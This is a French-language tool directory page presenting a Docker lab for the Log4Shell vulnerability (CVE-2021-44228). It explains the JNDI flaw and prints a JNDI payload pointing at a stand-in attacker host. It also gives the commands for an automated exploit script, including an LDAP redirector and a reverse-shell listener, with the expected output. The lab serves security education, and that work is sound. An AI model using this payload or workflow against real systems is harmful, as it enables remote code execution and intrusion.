Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
EXPLOIT-CVE-2021-44228 — Lab éducatif basé sur Docker démontrant l'exploitation RCE Log4Shell (CVE-2021-44228) avec une application Java vulnérable, un redirecteur LDAP et un script d'exploitation automatisé. | Kitploit
Outils/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

Lab éducatif basé sur Docker démontrant l'exploitation RCE Log4Shell (CVE-2021-44228) avec une application Java vulnérable, un redirecteur LDAP et un script d'exploitation automatisé.

Voir le dépôt
4il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-44228 — Laboratoire PoC Log4Shell

AVERTISSEMENT

Ce laboratoire a été créé exclusivement à des fins éducatives et de recherche en sécurité. Tout le trafic se déroule au sein d’un réseau Docker isolé. N’utilisez pas ce matériel sur des systèmes réels ou sans autorisation explicite. Une mauvaise utilisation peut constituer un délit. À utiliser avec responsabilité.


Qu’est-ce que la CVE-2021-44228 ?

Log4Shell est une vulnérabilité critique (CVSS 10.0) découverte en décembre 2021 dans la bibliothèque de logging Apache Log4j 2, largement utilisée dans les applications Java.

Comment la vulnérabilité se produit

Log4j dispose d’une fonctionnalité d’interpolation d’expressions : lors de l’enregistrement d’un message, il évalue les chaînes au format ${...}. Par exemple, ${java:version} est remplacé par la version de Java à l’exécution.

Le problème réside dans le support du protocole JNDI (Java Naming and Directory Interface). Lorsque Log4j rencontre une expression du type :

root@kitploit:~
${jndi:ldap://attaquant.com/exploit}

il ordonne à la JVM d’effectuer une requête LDAP vers le serveur de l’attaquant. Le serveur répond avec une référence à une classe Java distante — et la JVM télécharge et exécute cette classe, ce qui entraîne une exécution de code à distance (RCE).

Le vecteur d’attaque est simple : n’importe quel champ journalisé par le serveur (en-têtes HTTP, champs de formulaire, cookies, etc.) peut être le point d’entrée de la charge utile.

Versions affectées

  • Log4j 2.0-beta9 à 2.14.1
  • Corrigé dans la version 2.15.0 (et définitivement dans 2.17.0)

Environnement vulnérable

Le lab simule une application Java réelle utilisant les versions vulnérables.

ComposantVersionPourquoi il est vulnérable
Apache Log4j2.14.1Évalue ${jndi:...} sans restrictions
JDK1.8.0_181Antérieur au correctif 8u191 qui définit trustURLCodebase=false
Spring Boot2.5.6Simple framework web ; la vulnérabilité vient de Log4j

Point d’accès vulnérable

root@kitploit:~
GET http://localhost:8080/log

Les en-têtes suivants sont directement journalisés par Log4j — chacun d’eux peut être le vecteur d’injection :

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

Infrastructure de l’attaquant (conteneur attacker)

ServicePortFonction
marshalsec (LDAP)1389Reçoit la recherche JNDI et redirige vers le serveur HTTP
Serveur HTTP Python8888Sert le Exploit.class à la JVM de la victime
Listener netcat9001Reçoit la connexion du shell inverse

Comment utiliser l’exploit

Prérequis

  • Docker et Docker Compose installés
  • Node.js installé (pour l’exploit)

1. Lancer l’environnement complet

root@kitploit:~
docker-compose up --build

Attendez de voir dans les logs :

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. Déclencher l’exploit

Dans un autre terminal, exécutez l’exploit Node.js :

root@kitploit:~
node exploit/exploit.js

Sortie attendue :

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. Vérifier l’exécution

Observez le terminal où docker-compose est en cours. Dans les logs du conteneur attacker, vous verrez la connexion du shell inverse arriver sur le port 9001.

Pour confirmer le touch /tmp/pwned à l’intérieur de l’application vulnérable :

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

Arguments personnalisés (optionnels)

root@kitploit:~
# node exploit/exploit.js [cible] [hôte_ldap] [port_ldap] [nom_classe] [en-tête]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

Par Guaxinim | Cyber Security Research

Télécharger l’outil